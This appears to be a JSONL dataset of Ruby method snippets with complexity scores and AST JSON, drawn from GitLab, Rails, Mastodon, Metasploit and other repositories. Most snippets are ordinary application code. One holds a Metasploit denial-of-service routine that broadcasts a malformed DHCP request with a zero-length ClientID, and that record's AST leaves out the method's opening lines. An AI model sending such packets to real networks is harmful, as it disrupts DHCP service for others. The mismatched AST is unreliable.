{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace/backoff.rb","start_line":35,"raw_source":"def value_with_jitter\n          value + jitter\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"value_with_jitter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"jitter\"]}]}]}","id":"b5229655-c583-49b7-b4eb-8042c661e6ec"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/flow/pipeline.rb","start_line":91,"raw_source":"def wait_for_pipeline_status(project:, status:, wait:, pipeline_finder:, pipeline_identifier: 'latest')\n        raise \"'#{status}' is an invalid pipeline status.\" if AVAILABLE_STATUSES.exclude?(status)\n\n        pipeline_desc = pipeline_identifier == 'latest' ? 'latest pipeline' : \"pipeline #{pipeline_identifier}\"\n        Runtime::Logger.info(\"Waiting for #{project.name}'s #{pipeline_desc} to have status #{status}...\")\n\n        Support::Waiter.wait_until(\n          message: \"Wait for #{pipeline_desc} to have status #{status}\",\n          max_duration: wait\n        ) do\n          pipeline = pipeline_finder.call\n          pipeline && pipeline[:status] == status\n        end\n      end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_pipeline_status\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project\"]},{\"type\":\"kwarg\",\"children\":[\"status\"]},{\"type\":\"kwarg\",\"children\":[\"wait\"]},{\"type\":\"kwarg\",\"children\":[\"pipeline_finder\"]},{\"type\":\"kwoptarg\",\"children\":[\"pipeline_identifier\",{\"type\":\"str\",\"children\":[\"latest\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AVAILABLE_STATUSES\"]},\"exclude?\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"str\",\"children\":[\"' is an invalid pipeline status.\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"pipeline_desc\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_identifier\"]},\"==\",{\"type\":\"str\",\"children\":[\"latest\"]}]},{\"type\":\"str\",\"children\":[\"latest pipeline\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"pipeline \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_identifier\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Waiting for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"'s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_desc\"]}]},{\"type\":\"str\",\"children\":[\" to have status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Support\"]},\"Waiter\"]},\"wait_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Wait for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_desc\"]}]},{\"type\":\"str\",\"children\":[\" to have status \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_duration\"]},{\"type\":\"lvar\",\"children\":[\"wait\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_finder\"]},\"call\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]}]}","id":"8f4e9ba7-959f-4e78-8007-3a2f14d59668"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cache_key_generation_test.rb","start_line":44,"raw_source":"def test_schema_string_with_referential_has_one\n      AssociatedRecord.cache_has_one(:deeply_associated, embed: :id)\n\n      assert_equal(\n        \"#{NORMALIZED_SCHEMA_STRING},deeply_associated:id\",\n        CacheKeyGeneration.denormalized_schema_string(AssociatedRecord),\n      )\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_string_with_referential_has_one\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]},\"cache_has_one\",{\"type\":\"sym\",\"children\":[\"deeply_associated\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NORMALIZED_SCHEMA_STRING\"]}]},{\"type\":\"str\",\"children\":[\",deeply_associated:id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CacheKeyGeneration\"]},\"denormalized_schema_string\",{\"type\":\"const\",\"children\":[null,\"AssociatedRecord\"]}]}]}]}]}","id":"07b6521b-3bee-415f-906d-9c19cfc2d7a0"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":795,"raw_source":"def asciidoc(template, options = {}, locals = {})\n      render :asciidoc, template, options, locals\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"asciidoc\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"template\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"asciidoc\"]},{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]}","id":"f40b97fa-b7e5-4322-9a25-1d7e0cb2d938"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/env.rb","start_line":443,"raw_source":"def require_github_access_token!\n        return unless github_access_token.empty?\n\n        raise ArgumentError, \"Please provide QA_GITHUB_ACCESS_TOKEN\"\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"require_github_access_token!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"github_access_token\"]},\"empty?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Please provide QA_GITHUB_ACCESS_TOKEN\"]}]}]}]}","id":"98686f0f-43fb-4721-9e07-6033410fd2a9"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/models/point.rb","start_line":121,"raw_source":"def set_country\n    self.country_id = found_in_country&.id\n    save! if changed?\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_country\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"country_id=\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"found_in_country\"]},\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changed?\"]},{\"type\":\"send\",\"children\":[null,\"save!\"]},null]}]}]}","id":"ed7a776c-6ccd-47d7-8796-75e7e473d919"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/error_tracking/sentry_client/repo.rb","start_line":25,"raw_source":"def map_to_repos(repos)\n        repos.map { map_to_repo(_1) }\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"map_to_repos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repos\"]}]},{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"repos\"]},\"map\"]},1,{\"type\":\"send\",\"children\":[null,\"map_to_repo\",{\"type\":\"lvar\",\"children\":[\"_1\"]}]}]}]}","id":"36fc2c53-dcd4-4fe7-a377-48ba14e8c573"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/ie_sandbox_findfiles.rb","start_line":383,"raw_source":"def gen_datestamp(ttype = nil)\n    ::Time.now.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gen_datestamp\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ttype\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y-%m-%dT%H:%M:%SZ\"]}]}]}","id":"755da7be-d7cb-4757-9c27-d41d15b542e7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/event_reporter.rb","start_line":442,"raw_source":"def debug(name_or_object, payload = nil, caller_depth: 1, **kwargs)\n      if debug_mode?\n        if block_given?\n          notify(name_or_object, payload, caller_depth: caller_depth + 1, **kwargs.merge(yield))\n        else\n          notify(name_or_object, payload, caller_depth: caller_depth + 1, **kwargs)\n        end\n      end\n    end","complexity_score":14.45,"ast_json":"{\"type\":\"def\",\"children\":[\"debug\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name_or_object\"]},{\"type\":\"optarg\",\"children\":[\"payload\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"caller_depth\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"debug_mode?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[null,\"notify\",{\"type\":\"lvar\",\"children\":[\"name_or_object\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caller_depth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller_depth\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"merge\",{\"type\":\"yield\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"notify\",{\"type\":\"lvar\",\"children\":[\"name_or_object\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"caller_depth\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caller_depth\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]}]}]}]},null]}]}","id":"789e0730-8888-4fb9-9edb-eb627e6c9aea"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/tags_controller.rb","start_line":82,"raw_source":"def tag_alias_updated?\n      tag_params[:alias_for].present?\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_alias_updated?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"alias_for\"]}]},\"present?\"]}]}","id":"33d144dc-d95d-4c58-91be-61f91ec16804"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/accept_invite_service.rb","start_line":33,"raw_source":"def publish_accepted_invite_event\n      Gitlab::EventStore.publish(\n        Members::AcceptedInviteEvent.new(data: {\n          member_id: member.id,\n          source_id: member.source_id,\n          source_type: member.source_type,\n          user_id: user.id\n        })\n      )\n    end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"publish_accepted_invite_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"EventStore\"]},\"publish\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"AcceptedInviteEvent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"source_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"source_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]}]}]}]}]}]}","id":"49c4e475-9a28-4691-9ccf-84d3030fd4c1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_timer.rb","start_line":96,"raw_source":"def schedule_auto_clear_slow_mode_job\n    Jobs.enqueue(TopicTimer.type_job_map[:clear_slow_mode], topic_timer_id: id)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_auto_clear_slow_mode_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicTimer\"]},\"type_job_map\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"clear_slow_mode\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_timer_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}","id":"d633de19-d8c5-4ca6-8285-911aa2058f70"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/resolver_shared_tests.rb","start_line":258,"raw_source":"def test_strict_locals_reuses_same_template\n    with_file \"test/hello_world.html.erb\", %q{<%# locals: (message: \"hello\")%>\\n<%= message %>}\n\n    template = context.find_all(\"hello_world\", \"test\", false, [:message], {})[0]\n    template2 = context.find_all(\"hello_world\", \"test\", false, [], {})[0]\n\n    assert_same template, template2\n\n    assert_predicate template, :strict_locals?\n    assert_nil template.locals\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strict_locals_reuses_same_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_file\",{\"type\":\"str\",\"children\":[\"test/hello_world.html.erb\"]},{\"type\":\"str\",\"children\":[\"<%# locals: (message: \\\"hello\\\")%>\\\\n<%= message %>\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find_all\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]}]},{\"type\":\"hash\",\"children\":[]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template2\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"find_all\",{\"type\":\"str\",\"children\":[\"hello_world\"]},{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_same\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"lvar\",\"children\":[\"template2\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"sym\",\"children\":[\"strict_locals?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"locals\"]}]}]}]}","id":"65f16420-0f5b-4acf-aa66-98f622d0f6da"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/mailers/notification_mailer.rb","start_line":76,"raw_source":"def set_status\n    @status = @notification.target_status\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@status\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@notification\"]},\"target_status\"]}]}]}","id":"847288ab-646b-4d43-be3a-41536a2fbb5f"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/persistence/orm.rb","start_line":92,"raw_source":"def aasm_raw_attribute_value(state, _name=:default)\n        state.to_s\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"aasm_raw_attribute_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"state\"]},{\"type\":\"optarg\",\"children\":[\"_name\",{\"type\":\"sym\",\"children\":[\"default\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"to_s\"]}]}","id":"160dfb27-3dcb-479c-a756-ba847772c83e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/anemone/core.rb","start_line":263,"raw_source":"def referred_from_valid_page?(page)\n      return true unless page && page.referer\n\n      # XXX This might need to handle differences between http and https schemes like '@pages.has_page?' implements\n      referer_http_status = @pages[page.referer.to_s].code\n      referer_http_status >= 100 && referer_http_status < 400\n    end","complexity_score":13.15,"ast_json":"{\"type\":\"def\",\"children\":[\"referred_from_valid_page?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"referer\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"referer_http_status\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pages\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"referer\"]},\"to_s\"]}]},\"code\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referer_http_status\"]},\">=\",{\"type\":\"int\",\"children\":[100]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"referer_http_status\"]},\"<\",{\"type\":\"int\",\"children\":[400]}]}]}]}]}","id":"6f82f2be-077f-4833-9edb-f00e1a46f324"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/math_filter.rb","start_line":55,"raw_source":"def group\n        context[:project]&.parent || context[:group]\n      end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"group\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]}]}","id":"797a5c91-df02-47fc-8556-c4fe332ba2ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/models/error_v2.rb","start_line":208,"raw_source":"def self.build_from_hash(attributes)\n      new.build_from_hash(attributes)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_from_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"build_from_hash\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}","id":"7e9bc84c-ef9b-4e19-9f74-80bbd6ef4679"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/dhcp/isc_dhcpd_clientid.rb","start_line":44,"raw_source":"def run\n    open_pcap\n    print_status('Creating DHCP Request with 0-length ClientID')\n    p = PacketFu::UDPPacket.new\n    p.ip_daddr = '255.255.255.255'\n    p.udp_sport = 68\n    p.udp_dport = 67\n\n    # TODO: Get a DHCP parser into PacketFu\n    chaddr = \"\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\"\n    dhcp_payload = \"\\x63\\x82\\x53\\x63\\x35\\x01\\x03\\x3d\\x00\\xff\"\n    p.payload = dhcp_req(chaddr, dhcp_payload)\n    p.recalc\n    print_status('Sending malformed DHCP request...')\n    capture_sendto(p, '255.255.255.255')\n    close_pcap\n  end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"payload=\",{\"type\":\"send\",\"children\":[null,\"dhcp_req\",{\"type\":\"lvar\",\"children\":[\"chaddr\"]},{\"type\":\"lvar\",\"children\":[\"dhcp_payload\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"recalc\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending malformed DHCP request...\"]}]},{\"type\":\"send\",\"children\":[null,\"capture_sendto\",{\"type\":\"lvar\",\"children\":[\"p\"]},{\"type\":\"str\",\"children\":[\"255.255.255.255\"]}]},{\"type\":\"send\",\"children\":[null,\"close_pcap\"]}]}]}","id":"0388defa-d675-46b3-93d4-7c5bf2c9b26c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/issuables_service.rb","start_line":448,"raw_source":"def discussion_lock\n      action = noteable.discussion_locked? ? 'locked' : 'unlocked'\n      body = \"#{action} the discussion in this #{noteable.class.to_s.titleize.downcase}\"\n\n      if action == 'locked'\n        track_issue_event(:track_issue_locked_action)\n      else\n        track_issue_event(:track_issue_unlocked_action)\n      end\n\n      create_note(NoteSummary.new(noteable, project, author, body, action: action))\n    end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"discussion_lock\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"discussion_locked?\"]},{\"type\":\"str\",\"children\":[\"locked\"]},{\"type\":\"str\",\"children\":[\"unlocked\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"str\",\"children\":[\" the discussion in this \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"noteable\"]},\"class\"]},\"to_s\"]},\"titleize\"]},\"downcase\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"==\",{\"type\":\"str\",\"children\":[\"locked\"]}]},{\"type\":\"send\",\"children\":[null,\"track_issue_event\",{\"type\":\"sym\",\"children\":[\"track_issue_locked_action\"]}]},{\"type\":\"send\",\"children\":[null,\"track_issue_event\",{\"type\":\"sym\",\"children\":[\"track_issue_unlocked_action\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_note\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoteSummary\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"noteable\"]},{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"author\"]},{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]}]}]}","id":"1aab74b6-321a-42ad-8d45-3acca2a74bbd"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/annual_reports_controller.rb","start_line":9,"raw_source":"def index\n    with_read_replica do\n      @presenter = AnnualReportsPresenter.new(GeneratedAnnualReport.where(account_id: current_account.id).pending)\n      @relationships = StatusRelationshipsPresenter.new(@presenter.statuses, current_account.id)\n    end\n\n    render json: @presenter,\n           serializer: REST::AnnualReportsSerializer,\n           relationships: @relationships\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_read_replica\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@presenter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AnnualReportsPresenter\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GeneratedAnnualReport\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"id\"]}]}]}]},\"pending\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@relationships\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StatusRelationshipsPresenter\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@presenter\"]},\"statuses\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@presenter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REST\"]},\"AnnualReportsSerializer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relationships\"]},{\"type\":\"ivar\",\"children\":[\"@relationships\"]}]}]}]}]}]}","id":"9a038b16-c15d-49a6-9877-258b9d73ff77"}
